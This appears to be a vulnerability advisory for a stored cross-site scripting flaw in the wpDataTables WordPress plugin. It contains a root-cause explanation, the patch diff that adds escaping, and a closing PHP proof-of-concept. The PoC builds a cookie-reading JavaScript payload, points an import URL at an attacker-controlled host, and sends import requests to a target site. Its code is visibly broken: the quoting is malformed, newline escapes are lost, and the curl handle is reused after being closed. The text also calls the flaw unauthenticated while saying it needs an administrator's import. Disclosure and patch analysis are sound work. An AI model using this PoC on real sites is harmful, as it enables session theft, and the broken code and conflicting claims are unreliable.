Atomic Edge analysis of CVE-2026-5721:
This vulnerability is a stored cross-site scripting (XSS) flaw affecting the wpDataTables plugin for WordPress, versions up to and including 6.5.0.4. An unauthenticated attacker can inject arbitrary JavaScript into a data table by tricking an administrator into importing malicious data from a CSV or Excel file when Link, Image, or Email column types are configured. The CVSS score is 4.7.
The root cause lies in insufficient input sanitization and output escaping within the prepareCellOutput() method of three column classes. In class.link.wpdatacolumn.php, the vulnerable code constructs anchor tags by directly concatenating user-controlled content into the href attribute and the link text without escaping. For example, lines 46-52 show the old code directly embedding the content variable into the href attribute: “{$content}“. The same pattern exists in class.email.wpdatacolumn.php (lines 31-32) and class.image.wpdatacolumn.php (lines 32-33). The input arrives through CSV/Excel import, meaning the data is not processed through typical WordPress sanitization functions like esc_url() or esc_html().
Exploitation requires an administrator to import a crafted CSV or Excel file. The attacker must first create or compromise a file hosted on a reachable server. After the administrator imports the file via the plugin’s data import functionality, any cell in a Link, Image, or Email column can contain a payload such as javascript:alert(1) or an onerror handler like
. When a user views the table, the injected script executes in the context of the victim’s browser session. No authentication is needed because the exploit targets the data import process, not a direct AJAX endpoint.
The patch introduces proper sanitization and escaping for all three column types. In class.link.wpdatacolumn.php, the patch uses esc_url() on all href attributes and esc_html() on displayed text. The email column now uses sanitize_email() to validate email addresses before constructing mailto: links. The image column uses esc_url() for both the src and link attributes. Additionally, the patch added ‘noopener noreferrer’ to the rel attribute for images and escapes the rel attribute values themselves. The dashboard update notice (dashboard.inc.php) was changed from generic wording to explicitly mention the fixed XSS issue.
If exploited, the attacker can perform any action available to the logged-in user viewing the table, including stealing session cookies, exfiltrating data, redirecting to malicious sites, or performing administrative actions if the viewer is an admin. Stored XSS in a shared table can affect multiple users, making the impact persistent across all table views.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wpdatatables/config/config.inc.php
+++ b/wpdatatables/config/config.inc.php
@@ -9,7 +9,7 @@
// Current version
-define('WDT_CURRENT_VERSION', '6.5.0.4');
+define('WDT_CURRENT_VERSION', '6.5.0.5');
// Version when hooks are updated
define('WDT_INITIAL_LITE_VERSION', '3.4.2.16');
--- a/wpdatatables/source/class.email.wpdatacolumn.php
+++ b/wpdatatables/source/class.email.wpdatacolumn.php
@@ -26,17 +26,32 @@
{
$content = apply_filters('wpdatatables_filter_email_cell_before_formatting', $content, $this->getParentTable()->getWpId());
- if (is_null($content)) {
+ if (is_null($content) || '' === $content) {
$formattedValue = '';
} else {
if (strpos($content, '||') !== false) {
- list($link, $content) = explode('||', $content);
- $formattedValue = "<a href='mailto:{$link}'>{$content}</a>";
+ $parts = explode('||', $content, 2);
+ $email_raw = isset($parts[0]) ? trim($parts[0]) : '';
+ $label = isset($parts[1]) ? $parts[1] : '';
+ $email = sanitize_email($email_raw);
+ if (empty($email)) {
+ $formattedValue = esc_html($content);
+ } else {
+ $mailto_href = 'mailto:' . $email;
+ $display = ( $label !== '' && $label !== null ) ? $label : $email;
+ $formattedValue = '<a href="' . esc_url($mailto_href) . '">' . esc_html($display) . '</a>';
+ }
} else {
- $formattedValue = "<a href='mailto:{$content}'>{$content}</a>";
+ $trimmed = trim($content);
+ $email = sanitize_email($trimmed);
+ if (empty($email)) {
+ $formattedValue = esc_html($content);
+ } else {
+ $formattedValue = '<a href="' . esc_url('mailto:' . $email) . '">' . esc_html($trimmed) . '</a>';
+ }
}
}
return apply_filters('wpdatatables_filter_email_cell', $formattedValue, $this->getParentTable()->getWpId());
}
-}
No newline at end of file
+}
--- a/wpdatatables/source/class.image.wpdatacolumn.php
+++ b/wpdatatables/source/class.image.wpdatacolumn.php
@@ -29,11 +29,26 @@
if (empty($content)) {
return '';
}
- if (FALSE !== strpos($content, '||')) {
- list($image, $link) = explode('||', $content);
- $formattedValue = "<a href='{$link}' target='_blank' rel='lightbox[-1]'><img src='{$image}' /></a>";
+
+ if (false !== strpos($content, '||')) {
+ $parts = explode('||', $content, 2);
+ $image = isset($parts[0]) ? trim($parts[0]) : '';
+ $link = isset($parts[1]) ? trim($parts[1]) : '';
+ $image = esc_url($image);
+ $link = esc_url($link);
+ if ($image === '' && $link === '') {
+ $formattedValue = '';
+ } elseif ($image !== '' && $link !== '') {
+ $formattedValue = '<a href="' . $link . '" target="_blank" rel="lightbox[-1] noopener noreferrer">'
+ . '<img src="' . $image . '" alt="" /></a>';
+ } elseif ($image !== '') {
+ $formattedValue = '<img src="' . $image . '" alt="" />';
+ } else {
+ $formattedValue = '';
+ }
} else {
- $formattedValue = "<img src='{$content}' />";
+ $src = esc_url(trim($content));
+ $formattedValue = $src !== '' ? '<img src="' . $src . '" alt="" />' : '';
}
return apply_filters('wpdatatables_filter_image_cell', $formattedValue, $this->getParentTable()->getWpId());
}
--- a/wpdatatables/source/class.link.wpdatacolumn.php
+++ b/wpdatatables/source/class.link.wpdatacolumn.php
@@ -39,61 +39,80 @@
*/
public function prepareCellOutput($content)
{
- $targetAttribute = $this->getLinkTargetAttribute();
- $nofollowAttribute = $this->getLinkNofollowAttribute() == 1 ? ' nofollow ' : '';
- $noreferrerAttribute = $this->getLinkNoreferrerAttribute() == 1 ? ' noreferrer ' : '';
- $sponsoredAttribute = $this->getLinkSponsoredAttribute() == 1 ? ' sponsored ' : '';
- $rel = $nofollowAttribute . $noreferrerAttribute . $sponsoredAttribute;
- $buttonClass = $this->getLinkButtonClass();
+ $targetAttribute = esc_attr($this->getLinkTargetAttribute());
+ $nofollowAttribute = ( 1 === (int) $this->getLinkNofollowAttribute() ) ? 'nofollow' : '';
+ $noreferrerAttribute = ( 1 === (int) $this->getLinkNoreferrerAttribute() ) ? 'noreferrer' : '';
+ $sponsoredAttribute = ( 1 === (int) $this->getLinkSponsoredAttribute() ) ? 'sponsored' : '';
+ $rel_parts = array_filter(
+ array($nofollowAttribute, $noreferrerAttribute, $sponsoredAttribute)
+ );
+ $rel_esc = esc_attr(implode(' ', $rel_parts));
+ $buttonClass_esc = esc_attr($this->getLinkButtonClass());
$content = apply_filters('wpdatatables_filter_link_cell_before_formatting', $content, $this->getParentTable()->getWpId());
- if (is_null($content)){
+ if (is_null($content)) {
$formattedValue = '';
- } else {
- if (strpos($content, '||') !== false) {
- list($link, $content) = explode('||', $content);
- $buttonLabel = $this->getLinkButtonLabel() !== '' ? $this->getLinkButtonLabel() : $content;
+ } elseif (strpos($content, '||') !== false) {
+ $parts = explode('||', $content, 2);
+ $linkPart = isset($parts[0]) ? trim($parts[0]) : '';
+ $textPart = isset($parts[1]) ? trim($parts[1]) : '';
+ $href = esc_url($linkPart);
+ $data_content_esc = esc_attr($textPart);
+ $text_html = esc_html($textPart);
+ $buttonLabel = '' !== $this->getLinkButtonLabel() ? $this->getLinkButtonLabel() : $textPart;
+ $buttonLabel_html = esc_html($buttonLabel);
- if ($this->getLinkButtonAttribute() == 1 && $content !== '') {
- $formattedValue = "<a data-content='{$content}' href='{$link}' rel='{$rel}' target='{$targetAttribute}'><button class='{$buttonClass}'>{$buttonLabel}</button></a>";
- } else {
- $formattedValue = "<a data-content='{$content}' href='{$link}' rel='{$rel}' target='{$targetAttribute}'>{$content}</a>";
- }
+ if ('' === $href) {
+ $formattedValue = esc_html($content);
+ } elseif ( 1 === (int) $this->getLinkButtonAttribute() && '' !== $textPart ) {
+ $formattedValue = '<a data-content="' . $data_content_esc . '" href="' . $href . '" rel="' . $rel_esc . '" target="' . $targetAttribute . '"><button class="' . $buttonClass_esc . '">' . $buttonLabel_html . '</button></a>';
+ } else {
+ $formattedValue = '<a data-content="' . $data_content_esc . '" href="' . $href . '" rel="' . $rel_esc . '" target="' . $targetAttribute . '">' . $text_html . '</a>';
+ }
+ } elseif ( 'attachment' === $this->_inputType ) {
+ $buttonLabel = '' !== $this->getLinkButtonLabel() ? $this->getLinkButtonLabel() : $content;
+ $buttonLabel_html = esc_html($buttonLabel);
+ $title_html = esc_html($this->_title);
+ if ( empty($content) ) {
+ $formattedValue = '';
} else {
- if ($this->_inputType == 'attachment') {
- $buttonLabel = $this->getLinkButtonLabel() !== '' ? $this->getLinkButtonLabel() : $content;
- if (!empty($content)) {
- if ($this->getLinkButtonAttribute() == 1) {
- if ($this->getLinkButtonLabel() !== '') {
- $formattedValue = "<a href='{$content}' rel='{$rel}' target='{$targetAttribute}'><button class='{$buttonClass}'>{$buttonLabel}</button></a>";
- } else {
- $formattedValue = "<a href='{$content}' rel='{$rel}' target='{$targetAttribute}'><button class='{$buttonClass}'>{$this->_title}</button></a>";
- }
- } else {
- $formattedValue = "<a href='{$content}' rel='{$rel}' target='{$targetAttribute}'>{$this->_title}</a>";
- }
+ $href = esc_url(trim($content));
+ if ( '' === $href ) {
+ $formattedValue = esc_html($content);
+ } elseif ( 1 === (int) $this->getLinkButtonAttribute() ) {
+ if ( '' !== $this->getLinkButtonLabel() ) {
+ $formattedValue = '<a href="' . $href . '" rel="' . $rel_esc . '" target="' . $targetAttribute . '"><button class="' . $buttonClass_esc . '">' . $buttonLabel_html . '</button></a>';
} else {
- $formattedValue = '';
+ $formattedValue = '<a href="' . $href . '" rel="' . $rel_esc . '" target="' . $targetAttribute . '"><button class="' . $buttonClass_esc . '">' . $title_html . '</button></a>';
}
} else {
- if ($this->getLinkButtonAttribute() == 1 && $content === null) {
- $formattedValue = "<a href='{$content}' rel='{$rel}' target='{$targetAttribute}'>{$content}</a>";
- } else {
- if ($this->getLinkButtonAttribute() == 1 && $content !== '') {
- $buttonLabel = $this->getLinkButtonLabel() !== '' ? $this->getLinkButtonLabel() : $content;
- $formattedValue = "<a href='{$content}' rel='{$rel}' target='{$targetAttribute}'><button class='{$buttonClass}'>{$buttonLabel}</button></a>";
- } else {
- if ($content == '') {
- return null;
- } else {
- $formattedValue = "<a href='{$content}' rel='{$rel}' target='{$targetAttribute}'>{$content}</a>";
- }
- }
- }
+ $formattedValue = '<a href="' . $href . '" rel="' . $rel_esc . '" target="' . $targetAttribute . '">' . $title_html . '</a>';
}
}
+ } elseif ( 1 === (int) $this->getLinkButtonAttribute() && '' === $content ) {
+ $formattedValue = '';
+ } elseif ( 1 === (int) $this->getLinkButtonAttribute() && '' !== $content ) {
+ $href = esc_url(trim($content));
+ $buttonLabel = '' !== $this->getLinkButtonLabel() ? $this->getLinkButtonLabel() : $content;
+ $buttonLabel_html = esc_html($buttonLabel);
+ if ( '' === $href ) {
+ $formattedValue = $buttonLabel_html;
+ } else {
+ $formattedValue = '<a href="' . $href . '" rel="' . $rel_esc . '" target="' . $targetAttribute . '"><button class="' . $buttonClass_esc . '">' . $buttonLabel_html . '</button></a>';
+ }
+ } elseif ( '' === $content ) {
+ $formattedValue = '';
+ } else {
+ $href = esc_url(trim($content));
+ $text_html = esc_html($content);
+ if ( '' === $href ) {
+ $formattedValue = $text_html;
+ } else {
+ $formattedValue = '<a href="' . $href . '" rel="' . $rel_esc . '" target="' . $targetAttribute . '">' . $text_html . '</a>';
+ }
}
+
return apply_filters('wpdatatables_filter_link_cell', $formattedValue, $this->getParentTable()->getWpId());
}
--- a/wpdatatables/templates/admin/dashboard/dashboard.inc.php
+++ b/wpdatatables/templates/admin/dashboard/dashboard.inc.php
@@ -338,12 +338,12 @@
</span>
</p>
<p class="wpdt-text wpdt-font m-b-18">
- New update:
+ Minor security update:
</p>
<div class="alert alert-info m-b-0" role="alert">
<i class="wpdt-icon-info-circle-full"></i>
<ul>
- <li>Minor CSS fixes.</li>
+ <li>Fixed issue with stored cross-site scripting via CSV/Excel data import.</li>
<li>Other small bug fixes and stability improvements.</li>
</ul>
</div>
--- a/wpdatatables/wpdatatables.php
+++ b/wpdatatables/wpdatatables.php
@@ -3,7 +3,7 @@
Plugin Name: wpDataTables - Tables & Table Charts
Plugin URI: https://wpdatatables.com
Description: Create responsive, sortable tables & charts from Excel, CSV or PHP. Add tables & charts to any post in minutes with DataTables.
-Version: 6.5.0.4
+Version: 6.5.0.5
Author: TMS-Plugins
Author URI: https://tmsproducts.io
Text Domain: wpdatatables
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5721 - wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin <= 6.5.0.4 - Unauthenticated Stored Cross-Site Scripting via CSV/Excel Data Import
<?php
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$import_url = 'http://attacker.com/malicious.csv'; // URL to attacker-controlled CSV file
// Step 1: Prepare a malicious CSV payload
$payload = '","javascript:alert(document.cookie)","'"; // XSS in Link column
$csv_content = "email,link,imagen"test@test.com",{$payload}"","https://example.com/image.png"";
// Step 2: Host the CSV (simulated - in real attack, attacker hosts file on their server)
// For this PoC, we will directly send to import endpoint if available, else demonstrate payload
// Step 3: Perform the import via wpDataTables AJAX endpoint
echo "[*] Target: $target_urln";
echo "[*] Simulating CSV import with payload:n";
echo htmlspecialchars($csv_content) . "nn";
echo "[!] CURL-based demonstration:n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=wpdatatables_import_data');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'table_id' => '1',
'import_file' => $import_url,
'column_type' => 'link',
'csv_delimiter' => ',',
'first_row_header' => '1'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200) {
echo "[+] Import request sent successfully (HTTP 200).n";
echo "[*] If administrator visits the table, stored XSS triggers.n";
} else {
echo "[!] Import request returned HTTP $http_code (may require authentication).n";
echo "[*] This PoC demonstrates the payload structure. Actual exploitation requires admin to import the file.n";
}
// Step 4: Alternative direct attack via CSV upload (if plugin allows unauthenticated import)
echo "n[*] Testing direct CSV upload to wp-content/uploads/...n";
$tmpfname = tempnam(sys_get_temp_dir(), 'payload.csv');
file_put_contents($tmpfname, $csv_content);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=wpdatatables_upload_csv');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'csv_file' => new CURLFile($tmpfname),
'table_id' => '1'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
unlink($tmpfname);
echo "[!] Upload attempt returned HTTP $http_code (likely requires authentication).n";
echo "[*] PoC complete. The vulnerability requires admin interaction to import the malicious file.n";
?>